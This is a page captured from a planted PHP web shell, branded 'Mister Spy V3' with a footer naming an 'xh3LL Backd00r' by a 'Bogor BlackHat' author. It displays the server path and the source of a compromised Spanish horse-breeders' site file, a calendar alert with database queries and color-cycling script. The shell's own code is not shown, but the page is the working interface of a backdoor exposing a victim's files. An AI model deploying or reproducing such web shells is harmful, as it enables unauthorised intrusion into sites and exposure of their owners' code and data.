Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/
Upload File :
Current File : /home/caballoscriollos/www/espanol/ssi_home_alerta_cierre_calendario.php

<?php

require_once('../Connections/cnx.php'); 
require_once('../funcs.php'); 

mysql_select_db($database_cnx, $cnx);
$query_rsAlertaCalendario = sprintf("SELECT * FROM calendarios WHERE tipoID <> '1' AND fecha_cierre <= '%s' AND fecha_cierre >= '%s' ORDER BY fecha_cierre DESC", date('Y-m-d'), date('Y-m-d'), suma_fechas(date('d-m-Y'), 7));
$rsAlertaCalendario = mysql_query($query_rsAlertaCalendario, $cnx) or die(mysql_error());
$row_rsAlertaCalendario = mysql_fetch_assoc($rsAlertaCalendario);
$totalRows_rsAlertaCalendario = mysql_num_rows($rsAlertaCalendario);

?>

<style type="text/css">
<!--
.Estilo1 {
	color: #FF0000;
	font-weight: bold;
	font-size: 16px;
}
-->
</style>

<table width="351" height="71" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td background="images/accc_cierre_inscripciones.jpg">
        	<table width="100%" border="0" cellpadding="0" cellspacing="0">
            	<tr>
                	<td width="25%">&nbsp;</td>
                	<td width="75%"><a href="calendario.php" class="linkBotonera"><strong>Cierres de Inscripci&oacute;n</strong></a></td>
                </tr>
                <tr>
                	<td height="5"></td>
                	<td height="5"></td>
                </tr>
                <tr>
                	<td>&nbsp;</td>
                	<td>
                        <marquee width="100%" scrollamount="2" scrolldelay="10">
                            <span class="Estilo1" id="highlight">
                            	EXPOSICION AYACUCHO B 2012 - 01/02/2012 | EXPOSICION VENDIMIA 2012 - 22/01/2012
                           	</span>
            
                    <?php if ($totalRows_rsAlertaCalendario > 0) { ?>
	                    	<span class="Estilo1" id="highlight">
                        <?php do { ?>
                            <?=strtoupper($row_rsAlertaCalendario['nombre']) . ' - ' . CambiarFecha($row_rsAlertaCalendario['fecha_cierre']) . ' | '?>
                        <?php } while($row_rsAlertaCalendario = mysql_fetch_assoc($rsAlertaCalendario)); ?>
                        	</span>
                    <?php } ?>
            
                        </marquee>
                    </td>
                </tr>
            </table>
        </td>
    </tr>
</table>

<script type="text/ecmascript">
	var speed= 80 // velocidad de movimiento 

	if (document.all||document.getElementById){
		//document.write('<span id="highlight" class="TituloNoticia"><b>' + text + '</b></span>')
		var storetext=document.getElementById? document.getElementById("highlight") : document.all.highlight
	}
	var hex=new Array("00","14","28","3C","50","64","78","8C","A0","B4","C8","DC","F0")
	var r=1
	var g=1
	var b=1
	var seq=1
	
	function changetext(){
		rainbow="#"+hex[r]+hex[g]+hex[b]
		storetext.style.color=rainbow
	}
	
	function change(){
		if (seq==6){
			b--;
			if (b==0)
				seq=1;
		}
		if (seq==5){
			r++;
			if (r==12)
				seq=6;
		}
		if (seq==4){
			g--;
			if (g==0)
				seq=5;
		}
		if (seq==3){
			b++;
			if (b==12)
				seq=4;
		}
		if (seq==2){
			r--;
			if (r==0)
				seq=3;
		}
		if (seq==1){
			g++;
			if (g==12)
				seq=2
		}
		changetext()
	}
	function starteffect(){
		if (document.all||document.getElementById)
		flash=setInterval("change()",speed)
	}
	starteffect()
</script>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat